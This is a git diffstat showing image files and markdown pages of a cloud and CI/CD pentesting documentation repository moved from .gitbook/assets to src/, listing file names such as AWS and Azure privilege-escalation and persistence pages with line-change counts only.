 .../assets => src/images}/image (263).png     |  Bin
 .../assets => src/images}/image (264).png     |  Bin
 .../assets => src/images}/image (265).png     |  Bin
 .../assets => src/images}/image (266).png     |  Bin
 .../assets => src/images}/image (267).png     |  Bin
 .../assets => src/images}/image (268).png     |  Bin
 .../assets => src/images}/image (269).png     |  Bin
 .../assets => src/images}/image (27).png      |  Bin
 .../assets => src/images}/image (270).png     |  Bin
 .../assets => src/images}/image (271).png     |  Bin
 .../assets => src/images}/image (272).png     |  Bin
 .../assets => src/images}/image (273).png     |  Bin
 .../assets => src/images}/image (274).png     |  Bin
 .../assets => src/images}/image (275).png     |  Bin
 .../assets => src/images}/image (276).png     |  Bin
 .../assets => src/images}/image (277).png     |  Bin
 .../assets => src/images}/image (278).png     |  Bin
 .../assets => src/images}/image (279).png     |  Bin
 .../assets => src/images}/image (28).png      |  Bin
 .../assets => src/images}/image (280).png     |  Bin
 .../assets => src/images}/image (281).png     |  Bin
 .../assets => src/images}/image (282).png     |  Bin
 .../assets => src/images}/image (283).png     |  Bin
 .../assets => src/images}/image (284).png     |  Bin
 .../assets => src/images}/image (285).png     |  Bin
 .../assets => src/images}/image (286).png     |  Bin
 .../assets => src/images}/image (287).png     |  Bin
 .../assets => src/images}/image (288).png     |  Bin
 .../assets => src/images}/image (289).png     |  Bin
 .../assets => src/images}/image (29).png      |  Bin
 .../assets => src/images}/image (290).png     |  Bin
 .../assets => src/images}/image (291).png     |  Bin
 .../assets => src/images}/image (292).png     |  Bin
 .../assets => src/images}/image (293).png     |  Bin
 .../assets => src/images}/image (294).png     |  Bin
 .../assets => src/images}/image (295).png     |  Bin
 .../assets => src/images}/image (296).png     |  Bin
 .../assets => src/images}/image (297).png     |  Bin
 .../assets => src/images}/image (298).png     |  Bin
 .../assets => src/images}/image (299).png     |  Bin
 ...1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png |  Bin
 ...3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png |  Bin
 ...ge (3) (1) (1) (1) (1) (1) (1) (1) (1).png |  Bin
 .../image (3) (1) (1) (1) (1) (1) (1) (1).png |  Bin
 .../image (3) (1) (1) (1) (1) (1) (1).png     |  Bin
 .../images}/image (3) (1) (1) (1) (1) (1).png |  Bin
 .../images}/image (3) (1) (1) (1) (1).png     |  Bin
 .../images}/image (3) (1) (1) (1) (2).png     |  Bin
 .../images}/image (3) (1) (1) (1).png         |  Bin
 .../images}/image (3) (1) (1) (2).png         |  Bin
 .../images}/image (3) (1) (1).png             |  Bin
 .../images}/image (3) (1) (2) (1).png         |  Bin
 .../images}/image (3) (1) (2).png             |  Bin
 .../images}/image (3) (1) (3).png             |  Bin
 .../assets => src/images}/image (3) (1).png   |  Bin
 .../images}/image (3) (2) (1).png             |  Bin
 .../images}/image (3) (2) (2).png             |  Bin
 .../images}/image (3) (2) (3).png             |  Bin
 .../assets => src/images}/image (3) (2).png   |  Bin
 .../images}/image (3) (3) (1).png             |  Bin
 .../images}/image (3) (3) (2).png             |  Bin
 .../assets => src/images}/image (3) (3).png   |  Bin
 .../assets => src/images}/image (3) (4).png   |  Bin
 .../assets => src/images}/image (3) (5).png   |  Bin
 .../assets => src/images}/image (3) (6).png   |  Bin
 {.gitbook/assets => src/images}/image (3).png |  Bin
 .../assets => src/images}/image (30).png      |  Bin
 .../assets => src/images}/image (300).png     |  Bin
 .../assets => src/images}/image (301).png     |  Bin
 .../assets => src/images}/image (302).png     |  Bin
 .../assets => src/images}/image (303).png     |  Bin
 .../assets => src/images}/image (304).png     |  Bin
 .../assets => src/images}/image (305).png     |  Bin
 .../assets => src/images}/image (306).png     |  Bin
 .../assets => src/images}/image (307).png     |  Bin
 .../assets => src/images}/image (308).png     |  Bin
 .../assets => src/images}/image (309).png     |  Bin
 .../assets => src/images}/image (31).png      |  Bin
 .../assets => src/images}/image (310).png     |  Bin
 .../assets => src/images}/image (311).png     |  Bin
 .../assets => src/images}/image (312).png     |  Bin
 .../assets => src/images}/image (313).png     |  Bin
 .../assets => src/images}/image (314).png     |  Bin
 .../assets => src/images}/image (315).png     |  Bin
 .../assets => src/images}/image (316).png     |  Bin
 .../assets => src/images}/image (317).png     |  Bin
 .../assets => src/images}/image (318).png     |  Bin
 .../assets => src/images}/image (319).png     |  Bin
 .../assets => src/images}/image (32).png      |  Bin
 .../assets => src/images}/image (320).png     |  Bin
 .../assets => src/images}/image (321).png     |  Bin
 .../assets => src/images}/image (322).png     |  Bin
 .../assets => src/images}/image (323).png     |  Bin
 .../assets => src/images}/image (324).png     |  Bin
 .../assets => src/images}/image (325).png     |  Bin
 .../assets => src/images}/image (326).png     |  Bin
 .../assets => src/images}/image (327).png     |  Bin
 .../assets => src/images}/image (328).png     |  Bin
 .../assets => src/images}/image (329).png     |  Bin
 .../assets => src/images}/image (33).png      |  Bin
 .../assets => src/images}/image (330).png     |  Bin
 .../assets => src/images}/image (331).png     |  Bin
 .../assets => src/images}/image (332).png     |  Bin
 .../assets => src/images}/image (333).png     |  Bin
 .../assets => src/images}/image (334).png     |  Bin
 .../assets => src/images}/image (335).png     |  Bin
 .../assets => src/images}/image (336).png     |  Bin
 .../assets => src/images}/image (337).png     |  Bin
 .../assets => src/images}/image (338).png     |  Bin
 .../assets => src/images}/image (339).png     |  Bin
 .../assets => src/images}/image (34).png      |  Bin
 .../assets => src/images}/image (340).png     |  Bin
 .../assets => src/images}/image (341).png     |  Bin
 .../assets => src/images}/image (342).png     |  Bin
 .../assets => src/images}/image (343).png     |  Bin
 .../assets => src/images}/image (344).png     |  Bin
 .../assets => src/images}/image (345).png     |  Bin
 .../assets => src/images}/image (346).png     |  Bin
 .../assets => src/images}/image (347).png     |  Bin
 .../assets => src/images}/image (348).png     |  Bin
 .../assets => src/images}/image (349).png     |  Bin
 .../assets => src/images}/image (35).png      |  Bin
 .../assets => src/images}/image (350).png     |  Bin
 .../assets => src/images}/image (351).png     |  Bin
 .../assets => src/images}/image (352).png     |  Bin
 .../assets => src/images}/image (353).png     |  Bin
 .../assets => src/images}/image (354).png     |  Bin
 .../assets => src/images}/image (355).png     |  Bin
 .../assets => src/images}/image (356).png     |  Bin
 .../assets => src/images}/image (36).png      |  Bin
 .../assets => src/images}/image (37).png      |  Bin
 .../assets => src/images}/image (38) (1).png  |  Bin
 .../assets => src/images}/image (38).png      |  Bin
 .../assets => src/images}/image (39) (1).png  |  Bin
 .../assets => src/images}/image (39).png      |  Bin
 ...ge (4) (1) (1) (1) (1) (1) (1) (1) (1).png |  Bin
 .../image (4) (1) (1) (1) (1) (1) (1) (1).png |  Bin
 .../image (4) (1) (1) (1) (1) (1) (1).png     |  Bin
 .../images}/image (4) (1) (1) (1) (1) (1).png |  Bin
 .../images}/image (4) (1) (1) (1) (1).png     |  Bin
 .../images}/image (4) (1) (1) (1).png         |  Bin
 .../images}/image (4) (1) (1).png             |  Bin
 .../images}/image (4) (1) (2).png             |  Bin
 .../images}/image (4) (1) (3).png             |  Bin
 .../assets => src/images}/image (4) (1).png   |  Bin
 .../images}/image (4) (2) (1).png             |  Bin
 .../assets => src/images}/image (4) (2).png   |  Bin
 .../assets => src/images}/image (4) (3).png   |  Bin
 .../assets => src/images}/image (4) (4).png   |  Bin
 .../assets => src/images}/image (4) (5).png   |  Bin
 .../assets => src/images}/image (4) (6).png   |  Bin
 .../assets => src/images}/image (4) (7).png   |  Bin
 {.gitbook/assets => src/images}/image (4).png |  Bin
 .../assets => src/images}/image (40).png      |  Bin
 .../assets => src/images}/image (41).png      |  Bin
 .../assets => src/images}/image (42).png      |  Bin
 .../assets => src/images}/image (43).png      |  Bin
 .../assets => src/images}/image (44).png      |  Bin
 .../assets => src/images}/image (45).png      |  Bin
 .../assets => src/images}/image (46).png      |  Bin
 .../assets => src/images}/image (47).png      |  Bin
 .../assets => src/images}/image (48).png      |  Bin
 .../assets => src/images}/image (49).png      |  Bin
 .../images}/image (5) (1) (1) (1) (1) (1).png |  Bin
 .../images}/image (5) (1) (1) (1) (1).png     |  Bin
 .../images}/image (5) (1) (1) (1).png         |  Bin
 .../images}/image (5) (1) (1) (2).png         |  Bin
 .../images}/image (5) (1) (1).png             |  Bin
 .../assets => src/images}/image (5) (1).png   |  Bin
 .../images}/image (5) (2) (1).png             |  Bin
 .../assets => src/images}/image (5) (2).png   |  Bin
 .../assets => src/images}/image (5) (3).png   |  Bin
 .../assets => src/images}/image (5) (4).png   |  Bin
 {.gitbook/assets => src/images}/image (5).png |  Bin
 .../assets => src/images}/image (50).png      |  Bin
 .../assets => src/images}/image (51).png      |  Bin
 .../assets => src/images}/image (52).png      |  Bin
 .../assets => src/images}/image (53).png      |  Bin
 .../assets => src/images}/image (54).png      |  Bin
 .../assets => src/images}/image (55).png      |  Bin
 .../assets => src/images}/image (56).png      |  Bin
 .../assets => src/images}/image (57).png      |  Bin
 .../assets => src/images}/image (58).png      |  Bin
 .../assets => src/images}/image (59).png      |  Bin
 .../images}/image (6) (1) (1) (1).png         |  Bin
 .../images}/image (6) (1) (1).png             |  Bin
 .../images}/image (6) (1) (2).png             |  Bin
 .../assets => src/images}/image (6) (1).png   |  Bin
 .../assets => src/images}/image (6) (2).png   |  Bin
 .../assets => src/images}/image (6) (3).png   |  Bin
 {.gitbook/assets => src/images}/image (6).png |  Bin
 .../assets => src/images}/image (60).png      |  Bin
 .../assets => src/images}/image (61).png      |  Bin
 .../assets => src/images}/image (62).png      |  Bin
 .../assets => src/images}/image (63).png      |  Bin
 .../assets => src/images}/image (64).png      |  Bin
 .../assets => src/images}/image (65).png      |  Bin
 .../assets => src/images}/image (66).png      |  Bin
 .../assets => src/images}/image (67).png      |  Bin
 .../assets => src/images}/image (68).png      |  Bin
 .../assets => src/images}/image (69).png      |  Bin
 .../images}/image (7) (1) (1) (1).png         |  Bin
 .../images}/image (7) (1) (1) (2).png         |  Bin
 .../images}/image (7) (1) (1).png             |  Bin
 .../images}/image (7) (1) (2) (1).png         |  Bin
 .../images}/image (7) (1) (2).png             |  Bin
 .../assets => src/images}/image (7) (1).png   |  Bin
 .../assets => src/images}/image (7) (2).png   |  Bin
 {.gitbook/assets => src/images}/image (7).png |  Bin
 .../assets => src/images}/image (70).png      |  Bin
 .../assets => src/images}/image (71).png      |  Bin
 .../assets => src/images}/image (72).png      |  Bin
 .../assets => src/images}/image (73).png      |  Bin
 .../assets => src/images}/image (74).png      |  Bin
 .../assets => src/images}/image (75).png      |  Bin
 .../assets => src/images}/image (76).png      |  Bin
 .../assets => src/images}/image (77).png      |  Bin
 .../assets => src/images}/image (78).png      |  Bin
 .../assets => src/images}/image (79).png      |  Bin
 .../images}/image (8) (1) (1) (1) (1) (1).png |  Bin
 .../images}/image (8) (1) (1) (1) (1).png     |  Bin
 .../images}/image (8) (1) (1) (1).png         |  Bin
 .../images}/image (8) (1) (1).png             |  Bin
 .../assets => src/images}/image (8) (1).png   |  Bin
 .../assets => src/images}/image (8) (2).png   |  Bin
 .../assets => src/images}/image (8) (3).png   |  Bin
 {.gitbook/assets => src/images}/image (8).png |  Bin
 .../assets => src/images}/image (80).png      |  Bin
 .../assets => src/images}/image (81).png      |  Bin
 .../assets => src/images}/image (82).png      |  Bin
 .../assets => src/images}/image (83) (1).png  |  Bin
 .../assets => src/images}/image (83).png      |  Bin
 .../assets => src/images}/image (84).png      |  Bin
 .../assets => src/images}/image (85) (1).png  |  Bin
 .../assets => src/images}/image (85).png      |  Bin
 .../assets => src/images}/image (86).png      |  Bin
 .../assets => src/images}/image (87) (1).png  |  Bin
 .../assets => src/images}/image (87).png      |  Bin
 .../assets => src/images}/image (88).png      |  Bin
 .../assets => src/images}/image (89) (1).png  |  Bin
 .../assets => src/images}/image (89).png      |  Bin
 .../images}/image (9) (1) (1) (1) (1).png     |  Bin
 .../images}/image (9) (1) (1) (1).png         |  Bin
 .../images}/image (9) (1) (1).png             |  Bin
 .../assets => src/images}/image (9) (1).png   |  Bin
 .../assets => src/images}/image (9) (2).png   |  Bin
 {.gitbook/assets => src/images}/image (9).png |  Bin
 .../assets => src/images}/image (90).png      |  Bin
 .../assets => src/images}/image (91).png      |  Bin
 .../images}/image (92) (1) (1).png            |  Bin
 .../assets => src/images}/image (92) (1).png  |  Bin
 .../assets => src/images}/image (92).png      |  Bin
 .../assets => src/images}/image (93).png      |  Bin
 .../assets => src/images}/image (94).png      |  Bin
 .../assets => src/images}/image (95).png      |  Bin
 .../assets => src/images}/image (96).png      |  Bin
 .../assets => src/images}/image (97).png      |  Bin
 .../assets => src/images}/image (98).png      |  Bin
 .../assets => src/images}/image (99).png      |  Bin
 {.gitbook/assets => src/images}/image.png     |  Bin
 ...enshift-missing-service-account-image1.png |  Bin
 ...enshift-missing-service-account-image2.png |  Bin
 src/images/sponsor_8ksec.png                  |  Bin 0 -> 14775 bytes
 src/images/sponsor_hackenproof.jpeg           |  Bin 0 -> 4251 bytes
 src/images/sponsor_intigriti.png              |  Bin 0 -> 28251 bytes
 src/images/sponsor_pentesttools.webp          |  Bin 0 -> 3286 bytes
 src/images/sponsor_rootedcon.png              |  Bin 0 -> 24857 bytes
 src/images/sponsor_stm.png                    |  Bin 0 -> 5481 bytes
 src/images/sponsor_trickest.jpeg              |  Bin 0 -> 4237 bytes
 ...m-cloud-document-4-5875069018120918586.jpg |  Bin
 ...oud-photo-size-4-5780773316536156543-x.jpg |  Bin
 ...oud-photo-size-4-5782633230648853886-y.jpg |  Bin
 ...oud-photo-size-4-5920521132757336440-y.jpg |  Bin
 ...oud-photo-size-4-6044191430395675441-x.jpg |  Bin
 ...ower-awx-automation-controller-security.md |  142 +--
 .../apache-airflow-security/README.md         |   58 +-
 .../airflow-configuration.md                  |  111 ++
 .../apache-airflow-security/airflow-rbac.md   |   50 +-
 .../pentesting-ci-cd}/atlantis-security.md    |  220 ++--
 .../pentesting-ci-cd}/circleci-security.md    |  101 +-
 .../cloudflare-security/README.md             |  134 ++
 .../cloudflare-security/cloudflare-domains.md |  133 ++
 .../cloudflare-zero-trust-network.md          |   61 +
 .../concourse-security/README.md              |   33 +
 .../concourse-architecture.md                 |   38 +
 .../concourse-enumeration-and-attacks.md      |  238 ++--
 .../concourse-lab-creation.md                 |   98 +-
 .../gitea-security/README.md                  |   79 +-
 .../gitea-security/basic-gitea-information.md |  103 ++
 .../github-security/README.md                 |  195 ++-
 .../abusing-github-actions/README.md          |  292 ++---
 .../gh-actions-artifact-poisoning.md          |    0
 .../gh-actions-cache-poisoning.md             |    0
 .../gh-actions-context-script-injections.md   |    0
 .../accessible-deleted-data-in-github.md      |   56 +
 .../basic-github-information.md               |  203 ++-
 .../jenkins-security/README.md                |  173 ++-
 .../basic-jenkins-information.md              |   78 +-
 ...itrary-file-read-to-rce-via-remember-me.md |  105 ++
 .../jenkins-dumping-secrets-from-groovy.md    |   35 +-
 ...jenkins-rce-creating-modifying-pipeline.md |   39 +
 .../jenkins-rce-creating-modifying-project.md |   36 +
 .../jenkins-rce-with-groovy-script.md         |   63 +
 .../pentesting-ci-cd}/okta-security/README.md |   81 +-
 .../okta-security/okta-hardening.md           |   60 +-
 .../pentesting-ci-cd-methodology.md           |  113 +-
 .../serverless.com-security.md                |  502 ++++----
 .../pentesting-ci-cd}/supabase-security.md    |   84 +-
 .../pentesting-ci-cd}/terraform-security.md   |  121 +-
 src/pentesting-ci-cd/todo.md                  |   16 +
 .../travisci-security/README.md               |   65 +
 .../basic-travisci-information.md             |   44 +-
 src/pentesting-ci-cd/vercel-security.md       |  437 +++++++
 .../pentesting-cloud}/aws-security/README.md  |  209 ++--
 .../aws-basic-information/README.md           |  170 ++-
 .../aws-federation-abuse.md                   |   82 +-
 .../aws-permissions-for-a-pentest.md          |   17 +
 .../aws-security/aws-persistence/README.md    |    0
 .../aws-api-gateway-persistence.md            |   32 +
 .../aws-cognito-persistence.md                |   42 +
 .../aws-dynamodb-persistence.md               |   63 +
 .../aws-persistence/aws-ec2-persistence.md    |   54 +
 .../aws-persistence/aws-ecr-persistence.md    |   97 ++
 .../aws-persistence/aws-ecs-persistence.md    |   51 +-
 .../aws-persistence/aws-efs-persistence.md    |   21 +
 .../aws-elastic-beanstalk-persistence.md      |   41 +-
 .../aws-persistence/aws-iam-persistence.md    |   49 +
 .../aws-persistence/aws-kms-persistence.md    |   39 +
 .../aws-lambda-persistence/README.md          |   64 +
 .../aws-abusing-lambda-extensions.md          |   42 +
 .../aws-lambda-layers-persistence.md          |   66 +-
 .../aws-lightsail-persistence.md              |   33 +
 .../aws-persistence/aws-rds-persistence.md    |   31 +
 .../aws-persistence/aws-s3-persistence.md     |   25 +
 .../aws-secrets-manager-persistence.md        |   53 +
 .../aws-persistence/aws-sns-persistence.md    |   81 ++
 .../aws-persistence/aws-sqs-persistence.md    |   39 +
 .../aws-persistence/aws-ssm-perssitence.md    |    0
 .../aws-step-functions-persistence.md         |   21 +
 .../aws-persistence/aws-sts-persistence.md    |   41 +-
 .../aws-post-exploitation/README.md           |    0
 .../aws-api-gateway-post-exploitation.md      |   73 +-
 .../aws-cloudfront-post-exploitation.md       |   31 +
 .../aws-codebuild-post-exploitation/README.md |   84 ++
 .../aws-codebuild-token-leakage.md            |  188 +++
 .../aws-control-tower-post-exploitation.md    |   20 +
 .../aws-dlm-post-exploitation.md              |   30 +-
 .../aws-dynamodb-post-exploitation.md         |  127 +-
 .../README.md                                 |  226 ++--
 .../aws-ebs-snapshot-dump.md                  |   55 +-
 .../aws-malicious-vpc-mirror.md               |   15 +
 .../aws-ecr-post-exploitation.md              |   44 +-
 .../aws-ecs-post-exploitation.md              |   63 +
 .../aws-efs-post-exploitation.md              |   54 +
 .../aws-eks-post-exploitation.md              |  115 +-
 ...aws-elastic-beanstalk-post-exploitation.md |   80 ++
 .../aws-iam-post-exploitation.md              |  103 ++
 .../aws-kms-post-exploitation.md              |  133 ++
 .../aws-lambda-post-exploitation/README.md    |   29 +
 .../aws-warm-lambda-persistence.md            |   63 +
 .../aws-lightsail-post-exploitation.md        |   30 +
 .../aws-organizations-post-exploitation.md    |   19 +
 .../aws-rds-post-exploitation.md              |   49 +-
 .../aws-s3-post-exploitation.md               |   36 +-
 .../aws-secrets-manager-post-exploitation.md  |   49 +
 .../aws-ses-post-exploitation.md              |   83 ++
 .../aws-sns-post-exploitation.md              |   42 +-
 .../aws-sqs-post-exploitation.md              |   36 +-
 ...sso-and-identitystore-post-exploitation.md |   25 +
 .../aws-stepfunctions-post-exploitation.md    |   74 ++
 .../aws-sts-post-exploitation.md              |   54 +-
 .../aws-vpn-post-exploitation.md              |   13 +
 .../aws-privilege-escalation/README.md        |   23 +
 .../aws-apigateway-privesc.md                 |   57 +-
 .../aws-chime-privesc.md                      |    9 +
 .../aws-cloudformation-privesc/README.md      |   46 +-
 ...stack-and-cloudformation-describestacks.md |   81 ++
 .../aws-codebuild-privesc.md                  |  120 +-
 .../aws-codepipeline-privesc.md               |   37 +
 .../aws-codestar-privesc/README.md            |   73 ++
 ...ateproject-codestar-associateteammember.md |   81 ++
 .../iam-passrole-codestar-createproject.md    |   88 ++
 .../aws-cognito-privesc.md                    |   48 +-
 .../aws-datapipeline-privesc.md               |   74 ++
 .../aws-directory-services-privesc.md         |   34 +
 .../aws-dynamodb-privesc.md                   |   23 +
 .../aws-ebs-privesc.md                        |   27 +
 .../aws-ec2-privesc.md                        |   80 +-
 .../aws-ecr-privesc.md                        |  108 ++
 .../aws-ecs-privesc.md                        |   72 +-
 .../aws-efs-privesc.md                        |   38 +-
 .../aws-elastic-beanstalk-privesc.md          |  143 +--
 .../aws-emr-privesc.md                        |   64 +
 .../aws-privilege-escalation/aws-gamelift.md  |   18 +
 .../aws-glue-privesc.md                       |   32 +-
 .../aws-iam-privesc.md                        |   93 +-
 .../aws-kms-privesc.md                        |  122 ++
 .../aws-lambda-privesc.md                     |   75 +-
 .../aws-lightsail-privesc.md                  |   47 +-
 .../aws-mediapackage-privesc.md               |   25 +
 .../aws-mq-privesc.md                         |   49 +
 .../aws-msk-privesc.md                        |   24 +
 .../aws-organizations-prinvesc.md             |   18 +
 .../aws-rds-privesc.md                        |   83 +-
 .../aws-redshift-privesc.md                   |  107 ++
 .../aws-s3-privesc.md                         |   75 +-
 .../aws-sagemaker-privesc.md                  |   83 +-
 .../aws-secrets-manager-privesc.md            |   51 +
 .../aws-sns-privesc.md                        |   43 +
 .../aws-sqs-privesc.md                        |   46 +
 .../aws-ssm-privesc.md                        |   49 +-
 .../aws-sso-and-identitystore-privesc.md      |   70 +-
 .../aws-stepfunctions-privesc.md              |   94 +-
 .../aws-sts-privesc.md                        |  122 ++
 .../aws-workdocs-privesc.md                   |   10 +-
 .../eventbridgescheduler-privesc.md           |   49 +
 ...acm-pca-issuecertificate-acm-pca-getcer.md |   32 +
 .../aws-security/aws-services/README.md       |   31 +
 .../aws-services/aws-api-gateway-enum.md      |  100 +-
 ...m-and-private-certificate-authority-pca.md |   30 +-
 .../aws-cloudformation-and-codestar-enum.md   |   75 ++
 .../aws-services/aws-cloudfront-enum.md       |   44 +
 .../aws-services/aws-cloudhsm-enum.md         |   30 +-
 .../aws-services/aws-codebuild-enum.md        |   76 ++
 .../aws-services/aws-cognito-enum/README.md   |  102 ++
 .../cognito-identity-pools.md                 |   82 +-
 .../aws-cognito-enum/cognito-user-pools.md    |  173 ++-
 ...e-codepipeline-codebuild-and-codecommit.md |   52 +-
 .../aws-directory-services-workdocs-enum.md   |   68 +-
 .../aws-services/aws-documentdb-enum.md       |   42 +
 .../aws-services/aws-dynamodb-enum.md         |   80 +-
 .../README.md                                 |  146 +--
 .../aws-nitro-enum.md                         |   73 +-
 ...ws-vpc-and-networking-basic-information.md |  180 ++-
 .../aws-security/aws-services/aws-ecr-enum.md |  102 ++
 .../aws-security/aws-services/aws-ecs-enum.md |   82 ++
 .../aws-security/aws-services/aws-efs-enum.md |  102 +-
 .../aws-security/aws-services/aws-eks-enum.md |   46 +
 .../aws-elastic-beanstalk-enum.md             |  101 +-
 .../aws-services/aws-elasticache.md           |   45 +
 .../aws-security/aws-services/aws-emr-enum.md |   60 +
 .../aws-security/aws-services/aws-iam-enum.md |  168 +--
 .../aws-kinesis-data-firehose-enum.md         |   51 +
 .../aws-security/aws-services/aws-kms-enum.md |  158 +++
 .../aws-services/aws-lambda-enum.md           |   72 +-
 .../aws-services/aws-lightsail-enum.md        |   59 +
 .../aws-security/aws-services/aws-mq-enum.md  |   76 ++
 .../aws-security/aws-services/aws-msk-enum.md |   52 +-
 .../aws-services/aws-organizations-enum.md    |   47 +
 .../aws-services/aws-other-services-enum.md   |   24 +
 .../aws-services/aws-redshift-enum.md         |   40 +-
 .../aws-relational-database-rds-enum.md       |  100 +-
 .../aws-services/aws-route53-enum.md          |   31 +
 .../aws-s3-athena-and-glacier-enum.md         |  147 +--
 .../aws-services/aws-secrets-manager-enum.md  |   50 +
 .../README.md                                 |    0
 .../aws-cloudtrail-enum.md                    |  157 +--
 .../aws-cloudwatch-enum.md                    |  215 ++--
 .../aws-config-enum.md                        |   56 +-
 .../aws-control-tower-enum.md                 |   42 +
 .../aws-cost-explorer-enum.md                 |   15 +
 .../aws-detective-enum.md                     |   16 +
 .../aws-firewall-manager-enum.md              |  119 +-
 .../aws-guardduty-enum.md                     |  127 +-
 .../aws-inspector-enum.md                     |  173 ++-
 .../aws-macie-enum.md                         |  118 ++
 .../aws-security-hub-enum.md                  |   63 +
 .../aws-shield-enum.md                        |   15 +
 .../aws-trusted-advisor-enum.md               |   71 ++
 .../aws-waf-enum.md                           |  284 ++---
 .../aws-security/aws-services/aws-ses-enum.md |   43 +-
 .../aws-security/aws-services/aws-sns-enum.md |   79 ++
 .../aws-services/aws-sqs-and-sns-enum.md      |   53 +
 .../aws-services/aws-stepfunctions-enum.md    |  295 +++--
 .../aws-security/aws-services/aws-sts-enum.md |  100 ++
 .../aws-services/eventbridgescheduler-enum.md |   81 ++
 .../aws-unauthenticated-enum-access/README.md |   54 +
 .../aws-accounts-unauthenticated-enum.md      |   45 +
 .../aws-api-gateway-unauthenticated-enum.md   |   56 +
 .../aws-cloudfront-unauthenticated-enum.md    |   11 +
 .../aws-codebuild-unauthenticated-access.md   |   35 +
 .../aws-cognito-unauthenticated-enum.md       |   40 +-
 .../aws-documentdb-enum.md                    |   11 +
 .../aws-dynamodb-unauthenticated-access.md    |   15 +
 .../aws-ec2-unauthenticated-enum.md           |   60 +
 .../aws-ecr-unauthenticated-enum.md           |   34 +
 .../aws-ecs-unauthenticated-enum.md           |   25 +
 ...-elastic-beanstalk-unauthenticated-enum.md |   37 +
 .../aws-elasticsearch-unauthenticated-enum.md |   12 +
 .../aws-iam-and-sts-unauthenticated-enum.md   |  137 +--
 ...ity-center-and-sso-unauthenticated-enum.md |   48 +-
 .../aws-iot-unauthenticated-enum.md           |   13 +
 .../aws-kinesis-video-unauthenticated-enum.md |   11 +
 .../aws-lambda-unauthenticated-access.md      |   22 +
 .../aws-media-unauthenticated-enum.md         |   13 +
 .../aws-mq-unauthenticated-enum.md            |   22 +
 .../aws-msk-unauthenticated-enum.md           |   18 +
 .../aws-rds-unauthenticated-enum.md           |   44 +
 .../aws-redshift-unauthenticated-enum.md      |   11 +
 .../aws-s3-unauthenticated-enum.md            |   85 +-
 .../aws-sns-unauthenticated-enum.md           |   21 +
 .../aws-sqs-unauthenticated-enum.md           |   23 +
 .../azure-security/README.md                  |  171 ++-
 .../az-basic-information/README.md            |  323 +++--
 .../az-tokens-and-public-applications.md      |  120 +-
 .../azure-security/az-device-registration.md  |  109 ++
 .../azure-security/az-enumeration-tools.md    |   79 +-
 .../README.md                                 |   65 +
 .../az-arc-vulnerable-gpo-deploy-script.md    |   32 +-
 .../az-local-cloud-credentials.md             |   39 +
 .../az-pass-the-certificate.md                |   39 +
 .../az-pass-the-cookie.md                     |   37 +
 ...g-primary-refresh-token-microsoft-entra.md |    7 +
 .../az-primary-refresh-token-prt.md           |    7 +
 .../az-processes-memory-access-token.md       |   37 +
 .../README.md                                 |   60 +
 .../az-cloud-kerberos-trust.md                |   47 +-
 .../az-default-applications.md                |    9 +
 .../az-synchronising-new-users.md             |   32 +
 .../federation.md                             |  100 +-
 .../phs-password-hash-sync.md                 |   60 +-
 .../pta-pass-through-authentication.md        |   70 ++
 .../seamless-sso.md                           |   78 +-
 .../pass-the-prt.md                           |  109 +-
 .../az-permissions-for-a-pentest.md           |    7 +
 .../azure-security/az-persistence/README.md   |   38 +-
 .../az-persistence/az-queue-persistance.md    |   31 +
 .../az-persistence/az-storage-persistence.md  |   41 +
 .../az-persistence/az-vms-persistence.md      |   25 +
 .../az-post-exploitation/README.md            |    0
 .../az-blob-storage-post-exploitation.md      |   45 +
 .../az-file-share-post-exploitation.md        |   48 +
 .../az-function-apps-post-exploitation.md     |   17 +
 .../az-key-vault-post-exploitation.md         |   46 +-
 .../az-queue-post-exploitation.md             |   56 +-
 .../az-servicebus-post-exploitation.md        |   75 +-
 .../az-sql-post-exploitation.md               |   50 +-
 .../az-table-storage-post-exploitation.md     |   64 +
 .../az-vms-and-network-post-exploitation.md   |   63 +-
 .../az-privilege-escalation/README.md         |    0
 .../az-app-services-privesc.md                |   39 +
 .../az-authorization-privesc.md               |   59 +-
 .../az-entraid-privesc/README.md              |  101 +-
 ...-conditional-access-policies-mfa-bypass.md |   80 +-
 .../az-entraid-privesc/dynamic-groups.md      |   50 +
 .../az-functions-app-privesc.md               |  124 +-
 .../az-key-vault-privesc.md                   |   34 +
 .../az-queue-privesc.md                       |   52 +-
 .../az-servicebus-privesc.md                  |   53 +-
 .../az-privilege-escalation/az-sql-privesc.md |   57 +-
 .../az-storage-privesc.md                     |   68 +-
 ...az-virtual-machines-and-network-privesc.md |  118 +-
 .../azure-security/az-services/README.md      |   73 ++
 .../azure-security/az-services/az-acr.md      |   52 +
 .../az-services/az-app-service.md             |   86 +-
 .../az-services/az-application-proxy.md       |   40 +
 .../az-services/az-arm-templates.md           |   31 +
 .../az-automation-account/README.md           |   90 +-
 .../az-state-configuration-rce.md             |   65 +
 .../azure-security/az-services/az-azuread.md  |  420 ++++---
 .../az-services/az-file-shares.md             |  139 +--
 .../az-services/az-function-apps.md           |  144 +--
 .../az-services/az-logic-apps.md              |   56 +-
 ...roups-subscriptions-and-resource-groups.md |   56 +
 .../az-services/az-queue-enum.md              |   95 ++
 .../az-services/az-servicebus-enum.md         |   77 +-
 .../azure-security/az-services/az-sql.md      |  136 +--
 .../azure-security/az-services/az-storage.md  |  258 ++--
 .../az-services/az-table-storage.md           |  109 ++
 .../azure-security/az-services/intune.md      |   31 +
 .../azure-security/az-services/keyvault.md    |   92 +-
 .../azure-security/az-services/vms/README.md  |  349 +++---
 .../az-services/vms/az-azure-network.md       |  303 +++--
 .../README.md                                 |   59 +-
 .../az-device-code-authentication-phishing.md |    7 +
 .../az-oauth-apps-phishing.md                 |   84 +-
 .../az-password-spraying.md                   |   35 +
 .../az-vms-unath.md                           |   41 +
 .../digital-ocean-pentesting/README.md        |   43 +
 .../do-basic-information.md                   |   40 +-
 .../do-permissions-for-a-pentest.md           |    7 +
 .../do-services/README.md                     |   19 +
 .../do-services/do-apps.md                    |   34 +
 .../do-services/do-container-registry.md      |   33 +
 .../do-services/do-databases.md               |   43 +
 .../do-services/do-droplets.md                |   46 +-
 .../do-services/do-functions.md               |   60 +
 .../do-services/do-images.md                  |   19 +
 .../do-services/do-kubernetes-doks.md         |   39 +
 .../do-services/do-networking.md              |   45 +
 .../do-services/do-projects.md                |   23 +
 .../do-services/do-spaces.md                  |   46 +
 .../do-services/do-volumes.md                 |   15 +
 .../pentesting-cloud}/gcp-security/README.md  |  158 +--
 .../gcp-basic-information/README.md           |  136 +--
 .../gcp-federation-abuse.md                   |  153 +++
